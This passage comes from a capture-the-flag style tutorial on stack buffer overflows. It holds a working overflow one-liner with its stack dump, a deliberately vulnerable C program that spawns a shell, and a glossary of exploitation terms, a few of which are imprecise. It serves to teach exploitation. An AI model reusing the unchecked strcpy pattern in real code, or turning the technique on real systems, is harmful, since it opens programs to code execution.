let's try to set the value of `win` to `1`. This is where things get a bit tricky... We need to be careful not to confuse characters and integers. The character `1` is `0x30` in hex, but the integer `1` is `0x1` in hex (Note that this is not printable.) We want to set `win` equal to the *integer* representation of `1`, not the character representation of `1`. Since `win` is right after our buffer on the stack, we can just write 64 `A`'s in character format, followed by a single `"\x01"` to our buffer. This will leak the last byte (`0x01`) of the buffer we wrote to where `win` is stored, setting `win = 1`. ```salt $ ./overflow1-3948d17028101c40 $(python -c 'print "A"*64 + "\x01"') Stack dump: 0xffe29f04: 0xffe2b85e (second argument) 0xffe29f00: 0x00000000 (first argument) 0xffe29efc: 0x0804870f (saved eip) 0xffe29ef8: 0xffe29f28 (saved ebp) 0xffe29ef4: 0xf7760000 0xffe29ef0: 0xf766caa7 0xffe29eec: 0x00000001 0xffe29ee8: 0x41414141 0xffe29ee4: 0x41414141 0xffe29ee0: 0x41414141 0xffe29edc: 0x41414141 0xffe29ed8: 0x41414141 0xffe29ed4: 0x41414141 0xffe29ed0: 0x41414141 0xffe29ecc: 0x41414141 0xffe29ec8: 0x41414141 0xffe29ec4: 0x41414141 0xffe29ec0: 0x41414141 0xffe29ebc: 0x41414141 0xffe29eb8: 0x41414141 0xffe29eb4: 0x41414141 0xffe29eb0: 0x41414141 0xffe29eac: 0x41414141 (beginning of buffer) win = 1 $ ls overflow1-3948d17028101c40 overflow1-3948d17028101c40.c README.md $ exit ``` If you try this for yourself, you'll get a shell. You've now sucessfully executed a buffer overflow attack! ================================================ FILE: intro-2/overflow1.c ================================================ #include #include #include #include #include #include "dump_stack.h" void vuln(int tmp, char* str) { int win = tmp; char buf[64]; strcpy(buf, str); dump_stack((void**) buf, 23, (void**) &tmp); printf("win = %d\n", win); if (win == 1) { execl("/bin/sh", "sh", NULL); } else { printf("Sorry, you lose.\n"); } exit(0); } int main(int argc, char** argv) { if (argc != 2) { printf("Usage: stack_overwrite [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(0, argv[1]); return 0; } ================================================ FILE: terms/README.md ================================================ # Glossary of Terms Note: If you have a term you'd like added to the list, add an Issue or open a Pull Request. ## Technical Terms * **ASLR (Address Space Layout Randomization):** Security measure in modern OSes to randomize stack and libc addresses on each program execution. * **Binary:** A binary is the output file from compiling a C or C++ file. Anything in the binary has a *constant address* (usually... see PIE.) * **Canary:** A canary is some (usually random) value that is used to verify that nothing has been overrwritten. Programs may place canaries in memory, and check that they still have the exact same value after running potentially dangerous code, verifying the integrity of that memory. * **GOT (Global Offset Table):** The GOT is a table of addresses stored in the data section of memory. Executed programs use it to look up the runtime addresses of global variables that are unknown at compile time. * **Heap:** The heap is a far more reliable memory space similar to the stack. However, usage of the heap has to be invoked by the coder, so heap problems are often their own category of exploitation * **libc:** A binary is *dynamically linked* and has a libc file. This means that the whole set of standard library functions are located somewhere in the memory used by the program. * **NX (Non-Executable):** Security measure in modern OSes to separate processor instructions (code) and data (everything that's not code.) This prevents memory from being both executable and writable. * **PIE (Position Independent Executable):** Essentially ASLR, but for the binary itself. When this protection is enabled, locations of actual code in the binary are randomized. * **PLT (Procedure Linkage Table):** The PLT is essentially a wrapper function for all functions directly called in the binary. *Only used in dynamically linked binaries*. * **ROP (Return Oriented Programming):** Reusing tiny bits of code throughout the binary to construct commands we want to execute. * **Stack:** The stack is part of the memory for a binary. Local variables and pointers are often stored here. The stack can be randomized. ## Important Functions to Watch Out For: TODO: ADD MORE. * `mprotect()`: This is the function responsible for setting page pivilieges. If you can call this function with your own arbitrary arguments, you can effectively bypass NX protection. * `system()`: This function can be used to execute commands or even other binaries if called properly. I think it defaults to sh to handle commands on most Linux flavors. ## General Terms * **Arbitrary:** This word is used to imply the fullness of control that you might have given an exploit. If you've achieved *arbitrary code execution*, that means you can run, read, or write whatever commands you choose. * **Reliable:** Reliable in the context of binary exploitation is almost exactly the same as regular use. An exploit is said to be reliable if it works across different runs consistently. It might seem dumb to define this work, but somtimes with exploits you will only have the option to make an unreliable exploit.